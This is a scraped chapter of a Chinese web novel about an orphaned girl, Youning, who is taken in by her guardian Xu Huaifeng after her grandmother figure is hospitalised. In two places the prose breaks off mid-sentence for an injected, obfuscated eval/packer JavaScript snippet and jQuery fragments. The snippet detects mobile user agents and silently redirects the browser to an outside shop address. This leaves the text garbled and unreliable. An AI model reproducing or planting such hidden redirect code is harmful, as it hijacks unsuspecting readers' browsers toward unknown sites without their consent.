攸宁知道她是非常的乱:“电场磁场单独分析我都可以,但是放到一起就不太明白了。”
贺承泽拿了纸笔将图誊了下来,在循循善诱下很快便推演出了正确答案。
攸宁的思路被他打开,连同之前疑惑的都迎刃而解:“你电磁学得很扎实,只是基础力学没有掌握好,放到一起难免混乱。”
随后贺承泽又帮她制定了一份复习计划。
其实他们算不上很熟,满打满算就讲过三次话,但贺承泽没来由的给人一种亲和感。
不仅仅是对她,就算是对学校里流浪的阿猫阿狗也是如此。
—
冯婶难得当家做主,让贺承泽留下来吃了晚饭再走,盛情难却。
饭桌上没大人约束着,一逗二捧很是欢乐:
“这鱼是不是差点被你一屁股坐死的那条。”
“滚蛋!爱吃吃不吃拉倒!”
老太太上了年纪喜欢热闹,虽然认不清人,把他们的辈分儿都抬了抬:“小婉、仕东、剑平……”
点来点去少了一人:“怎么差了淮风呢。”
攸宁正在啃着鸡翅,将细细的骨头反复吮舔。
何姨在一旁哄着:“您不用等了,淮风已经在自个儿家里吃了。”
但老太太不依不饶,非要让人叫过来吃饭,周望尘对胥淮风怵头,自然不肯应声。
最终是贺承泽主动解了围:“那我就给小三叔打个电话吧。”
但这一次的电话并没有打通。
攸宁垂眸将鸡翅骨放进骨碟里,听见铃声突然响起,贺承泽接起后简单说了两句,然后点开了免提。
“周伯母,您这些日子身体怎么样?”
胥淮风清缓问道,如果不细听察觉不出夹杂的沙哑,底噪似缥缈风声,像是四面开阔的地方才有的。
老太太仍有歹心:“小婉和我都想你来吃饭呢。”
攸宁脑袋轰的一声响,她当然没说过这话,又没法当面反驳。
在她埋下头想要逃避之时,听见那边轻声笑了笑:“那我恐怕是享不了这口福了。”
“我现在不在京州,等从海市回来再带着东西去探望您。”
……
晚饭后,贺承泽打道回府,周望尘趁机溜了出去,攸宁则回到房间继续整理习题。
草纸上还留着解题步骤,她却又有些理不清了。
手机振动时她以为是到了上床睡觉的时间,但拿起来看见了是胥淮风的来电。
攸宁恍惚了一下,没有立即去接,甚至设想了无数种可能性,本能地选择了逃避。
可他没有一点要挂断的意思。
最终犹豫了片刻,她才捧起手机:“……小舅?”
胥淮风听得出她的迟疑,但并没有戳穿:“出院以后还烧过吗?”
“没有了。”
话毕静默了许久,攸宁低眸确认通讯还在正常进行,突然不想这通电话就此中断:“马上就要期末考试了,这些天我一直在家里复习。”
察觉到对面的谈话声是后知后觉,不过胥淮风也很快就结束了手中公务。
“凡事以健康优先,其余的尽力就好,不用给自己太大压力。”
攸宁莫名觉得这些日子悬着的那口气呼了出来,尽管他并未说些什么。
她大着胆子问道:“我还能再见到你吗?”
“我是去的海市,不是去的天堂。”
良久,胥淮风又道:“不过要是回京州,恐怕得到了年关了。”
攸宁原以为自己会讨厌这一年的春节,因为望眼欲穿再也等不来思念的人。
可如今觉得好像也并没有那么糟糕。
—
当铃声响起年轻人们一涌而出,枝丫上最后一片树叶被欢声笑语震落。
“我假期准备去东北滑雪,要不你跟我一块去吧。”
“京州没有雪吗?”
郭垚后日便
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698570|189085||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要启程,雀跃的像只叽叽喳喳的麻雀:“去年和前年都只有薄薄一层,一晚上就都化了。”
即便郭垚盛情邀约,攸宁还是选择了拒绝,最终两人在校外的麻辣烫店饯别。
来这吃的大多是附近的学生,出手阔绰一点便是一大盆。
攸宁吃到一半时发现称重处排起了长队,郭垚去拿了两瓶饮料,回来后吐槽道:“不知道从哪儿来的大叔,嫌老板黑心故意注水,现在正挨个要挤干净呢。”
攸宁远远瞧去,男人皮肤黝黑、又瘦又矮,从背影就能看得出不是当地人。
她仅看了两眼便被郭垚叫了回来:“你哥最近有什么安排吗?”
“我不太清楚。”
她和周望尘的关系虽化冰了许多,却也没到了什么事都过问的程度。
郭垚对攸宁的家事略知一二,仅是有些遗憾,并未再说些什么。
直至两人在门口分别,攸宁目送着郭垚上了车,转身离开之时听见身后传来熟悉的口音。
“要不算了吧,等到过年走连车票钱都掏不出来了。”
……
攸宁不能确定在这里遇见是不是偶然,只是下意识地挤进人多的地方躲藏。
她随便乘了一辆公交车,直到男人从视野中消失,梅雨时节的记忆纷来沓至。
半年前,阿嬷躺在阴湿的木棺里,她蹲着擦去上面的点点霉迹,突然被人扥住脖子拽了出去,扒掉身上的丧服,夺走老屋的钥匙,关进闷热的柴房。
这是攸宁噩梦的根源,是她从未言说过的往事,如今又见到了熟悉的面孔。
以至于凛冬将至,她仍无法忘记那汗流浃背的感觉,像是被人丢进了滚烫的热锅。
攸宁乘了许多趟从未坐过的线路,直到口袋中仅剩下最后一枚硬币,她才乘上折返回家的公交。
下车时已是夜深人静,手机电量耗尽,仅有几盏路灯将街道照亮。
在看见那挂着通红灯笼的宅院后,心中的恐惧感才慢慢消散。
老太太一定还在等她吧?烟囱冒烟是不是冯婶在蒸馒头呢?周望尘估计又出去找乐子了吧?
就这样想着想着,攸宁不经意间加快了脚步,以至于并未注意到尾随在身后的人影。
只待她拿出钥匙的瞬间,无数夜晚的惊悚梦魇接踵而至。
“阿妹,你真是让人好找啊。”
男男女女从阴暗处走出,顶着与阿嬷几分相似的脸,张开巨口獠牙,似要生啖其肉:
“我阿妈实在命苦,替人家把私生子养到这么大,连病死了都没人理啊!”
“皇城根儿下的人讲清誉要名声,却害得我家被人戳了一辈子脊梁骨。”
“我阿妈一辈子吃糠咽菜把你拉扯大,现在你过上了好日子就忘了我们。”
就在攸宁被他们步步逼入角落,以为熟悉的情景会再度上演,一辆摩托车突然飞驰而来将人群冲散。
机车横亘至身前,周望尘掀开头盔,喊破了嗓子:“你是傻逼吗,还不快点进去报警?!”
攸宁抓紧钥匙迅速跑到门前,为了稳住颤抖的手腕,她死死咬住下唇。
然而未等她插入锁眼,大门却被人从里拉开,连同正要开打的人都齐齐向这边看来。
老人形销骨立,拄着拐杖迈过门槛,摇摇晃晃。
“妈,外面太危险了,我扶您进去吧。”
终是攸宁先开口,想要上手去扶,却被那只苍老的手用力推开。
她觉得有些奇怪,抬头看去,对上了一副清明的双眸,俨然恢复了正常神智。
“你不是小婉,我的女儿死了。”
15. 14
攸宁有时候会想,是不是她真的命里带煞。
要不然命运为什么总会在她做好献出一切的准备时,活生生地剜出她跳动的心脏,留下一个血淋淋的窟窿。
刺耳急促的鸣笛声划破寂静的夜,大抵今晚的闹剧明天便会成为人们早餐时的话柄。
攸宁记不得自己是怎么坐上的救护车,只记得周望尘在被警车带走时啐了口血,那辆拉风酷炫的摩托车已成了一地废铜烂铁。
何姨是同她一程到的医院,直至手术室的灯亮起才掩面而泣,手里还捧着老太太刚才拄着的拐杖。
攸宁独自蹲坐在墙角,抬手摸了摸自己的凸出的眼眶,干涸、无泪,仿佛水分都在去年的夏季流尽。
可是,不应该这样的。
老太太对她是那样的好,怎么会流不出一滴眼泪呢。
在巨大的道德谴责下,她突然想起曾在一本地理杂志上见过一种季节性湖泊,雨季积水成湖,旱季蒸发干涸。
攸宁像是找寻到了灵丹妙药,撑地起身,径直跑去了最近的卫生间,在拧开水龙头的瞬间埋下了头,大口的、贪婪的吞咽,无数液体倒灌进鼻腔。
直到何姨跌跌撞撞地找了过来:“姑娘,你快出来一下吧。”
攸宁怔了一下,将嘴里最后一口水咽下,终于哽出了些濡湿潮意。
手术室的灯依然亮着,是医生下达了病危通知书。
“请问您和病人是什么关系?”
笔尖在即将落下的瞬间停滞,她忽然恍惚,不知该如何定义这段荒唐的关系。
是祖孙?是母女?还是主仆呢?
最终是周家夫妇姗姗来迟:“医生,我是病人家属,我母亲怎么样了?!”
两人大是见过大场面的,一切都处理的忙而不乱。
直至胥怜月过问起儿子的情况,得知是攸阿嬷的三个子女上门来闹,周仕东才勃然大怒。
“我爸当年给了那老婆子不少钱吧?难不成都叫狗给吃了?”
周仕东大概是宿醉,身上仍有酒气:“这些下三滥的玩意儿吃了熊心豹子胆也敢来皇城根儿下闹?”
胥怜月连夜赶路仍面容精致,仅从飞扬的眼线看出了些许慌张。
“冯婶已经和我讲过了,不知道岭南那边的人是怎么找到了家里来,虽然是望尘先动的手,但是他们言语上冲撞老太太在先。”
这话分明未提及攸宁姓名,却如同将她架在火上烤。
同阿嬷子女相识的人还能有谁?可她确信是真的将男人甩掉了才回的家。
没落世家能苟存至今,靠的是那张薄如蝉翼的脸面。
周仕东知晓明日家中丑事便将传遍京州,气得目眦尽裂,解开腕表走了过来,手掌高高扬起:
“当年周华婉为了一个野男人和爸断亲,是妈求情最后才留下了这野种一条命,早知道这狼崽子忘恩负义,把那群人引过来要害死妈,当时我就不该……”
攸宁已经没有力气再去躲藏,喉咙因吞咽过度肿痛难耐,只是看见胥怜月缓缓闭上了眼,在朝阳第一束光的照耀下露出亮晶晶的眼皮。
她忽然明白了什么,其实早就在她来到京州的第一天,这样的结局就已是注定了吧。
……
然而巴掌落下却没有丝毫的疼痛感。
攸宁迎着霞光缓缓抬头,先映入眼中的依旧是骨节分明的手腕,只不过附着在衣端的不再是晨曦微露,而是昨夜青霜。
“是不该让她住进周家。”
胥淮风站在她面前,替她挡了那一掌,落在了他的侧颈,在凉薄的肌肤上,红肿以肉眼可见的速度扩散。
周仕东霎时酒醒道歉,胥怜月也迎了上来赔罪,明显对眼前人的出现始料未及。
“淮风,你怎么来了……”
然而胥淮风仅是垂眸瞧了一眼蹲在角落的姑娘,她眼底乌青、眼白渗红,似经年死水中泛滥的赤潮。
“既然都是些陈芝麻烂谷子的往事,本应该随着人一同去了才对,到了如今这般地步是我思虑不妥、办事不牢,才把这孩子带回了京州,让她住进了周家。”
周仕东颔首,知道胥淮风这是在给自己台阶下,毕竟老太太病了以后思女心切,弄得全家半日不得安生,所以他才在听闻攸嬷去世后,才托了对岭南熟识的胥淮风前去打听消息。
胥怜月擦了擦额际上的汗,正准备着人起草协议,却被他接下来说的话惊得瞠目结舌。
“所以,这孩子往后跟我。”
胥淮风面不改色,仿佛讲的仅是茶余饭后的谈资。
谁不知道胥家三子从不插手家中事,甚至连婚事都无心应付,最是淡薄寡情的人。
却肯为一个非亲非故的姑娘,留下一个贻人口实的话柄。
“这恐怕不大合适吧。”
“难道二姐的所作所为就叫合适吗?”胥淮风仍留了些薄面,胥怜月也怕撕破脸,一时哑口无言:“我最后奉劝您一句,别再在她的身上打主意了。”
直至手术室灯灭,医生宣布病人暂时脱离危险,攸宁才觉得喉头肿痛渐消,但张了张嘴仍近乎无声。
可她确定胥淮风听见了,他低头询问她是不是想要离开。
其实只要点头就足以传达意愿,可她觉得那还不够。
于是她伸手去攀他平日拨弄打火机的手掌,虎口从鱼际划过,最终扣住了他宽阔的掌心。
—
胥淮风是在接到刘秘的消息后连夜飞回的京州,落地后便直接来了医院。
即便这样还是迟了些,虽下令封锁了消息,但还是在外界传出了些闲言碎语。
耳根不得清净,索性直接拦截了全部来电。
上车后司机问他要去哪个住处,他低头看了眼瑟缩在身旁的小姑娘,她眉睫低垂遮住干涸的瞳孔。
“去之前住过的小区好不好?”
虽然离得远了些,总归是她熟悉的地方。
胥淮风俯身去掖她身上毛毯的一角,隔着衣服都能感受到身上的烫意,大抵是又烧了起来。
他刚要吩咐司机转路去医院,攸宁就眨了眨眼,抬眸对上他,轻轻说了声好。
“那你先睡一会儿,等到了我会喊你。”
这一夜太过动荡,纵使是大人也有些疲惫,更何况一个伶仃的姑娘。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698571|189085||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
胥淮风拿起手机,联络了刘秘询问警局那边的情况,得知周望尘已经被保释了出来。
至于攸家的那些人,仅被拘留了一天一夜,就争先恐后签下了协议。
“小舅,”攸宁并没有闭眼,声音飘得厉害:“我还可以这么叫你吗?”
胥淮风顿了一下,但回应的很快:“当然。”
他以为是之前的事让她心存芥蒂,又或者害怕被人再度抛下,刚想要说点什么安抚的话语,便听见她问道:
“我不跟母亲姓周,也不是阿嬷的孩子,那么我应该是谁呢?”
胥淮风没想到她会问这样的问题,在那涣散目光的注视下,逐渐觉得脖颈上的红痕隐约发痒、难耐。
他无意识地摩挲指腹,这是身边没有烟酒时,用来压抑情绪的恶习。
“宁宁,你不是任何人的附属,你就是你自己。”
……
房间的布置未变,床头柜上甚至还有之前落下的作业本。
身体落下的瞬间有了支撑,席梦思床垫将身体包裹,覆在身上的鹅绒被轻盈到近乎无感。
起初攸宁是清醒的,能回应胥淮风的每一句询问,水烫不烫、药苦不苦、身上还有哪里不舒服。
他俯身来摸她的额头,冰凉的触感很是舒服,以至于离开的时候觉得有些可惜。
但后来药劲儿上来,眼皮越来越沉,夹着温度计便睡了过去。
攸宁不大清楚她睡了多久,中途被许多奇形怪状的梦惊醒,对这宽敞的、静谧的、幽香的卧室几次适应不得,下意识地喊了阿嬷或者冯婶的姓名。
每每她出声后,胥淮风不出一分钟便会过来,叫她张开胳膊再量一次体温。
“我是不是吵到你了。”她有些惭愧。
害他提前结束了行程,回到家后还不得休息,三番五次被她吵醒。
胥淮风通常只是让她再喝次水,还有一次端来了蔬菜粥:“所以你得快点儿好起来,不然我很难不被打扰。”
她一入口便尝出了丝丝香油味,是冯婶一贯的做法。
攸宁点了点头说好,吃完后就闭上了眼,直到听见他离开的脚步声才放弃与困意挣扎。
许是体力渐渐恢复,这一次的梦更加离奇,她被一个长发飘飘挡住面容的女人抱起,前一秒还在温声细语地哄着,后一秒便被人扼住了喉咙。
她奋力挣扎,四肢拼命地抓挠,忽然听见有人叫她的名字。
“宁宁。”
攸宁倏而睁开眼睛,看见床边多了一把沙发椅,胥淮风正弯腰去拽她因抽筋而剧烈颤抖的胳膊。
他离得很近,近到侧颈肤下毛细血管破裂留下的红点都能看得清晰。
此刻她眼底薄雾弥漫,泪水像是开了闸的大坝,啪嗒啪嗒地落个不停。
攸宁被人堪堪拥入怀中,臂弯绕过肩膀,手掌轻拍她的后背,身躯却是虚空着恰到好处的空隙。
“我在,不会走的,一直都在这里。”
她前倾将头埋进胥淮风的衣襟,主动充盈了他留有的距离,第一次在他面前放声痛哭。
又是檀香氤氲,藏着太多为人不知的往事。